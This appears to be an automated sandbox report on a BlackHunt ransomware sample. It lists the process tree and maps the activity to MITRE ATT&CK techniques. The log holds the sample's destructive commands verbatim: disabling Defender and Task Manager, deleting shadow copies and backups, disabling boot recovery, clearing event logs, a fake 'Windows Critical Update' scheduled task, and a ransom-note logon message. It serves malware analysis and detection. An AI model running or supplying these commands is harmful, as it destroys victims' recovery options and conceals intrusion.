  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:6316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:6724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:7048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:8980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:8988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:7316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:7328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:9932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe" /F
  2⤵
  - Modifies registry class
  PID:1400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:7372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:7184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1168
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:10136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2400
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:7768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4288
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:7476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4416
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:10168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2644
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:9588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3484
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:14300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3992
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:8968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:15640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    PID:15440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:15560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    PID:16136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:15460
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    PID:16248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3672
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:15812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:15368
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:15916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:15376
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:13560
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:15792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:15904
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:17084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:16332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:17076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe"
  2⤵
  PID:16580
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:17068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:16388
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:7456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:8124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:16348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:16228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:15724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:16076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:16124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:14340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:15532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:15664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:6000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:9804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:15684

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:3496

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Modifies registry class
PID:656

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:10380

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:16420

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:13088

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:14076

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:16396

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:17160

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:17352

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:16992

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:16980

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
PID:17008

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:17172

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
PID:15980

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:15500

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:13524

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:9940

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
PID:13532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery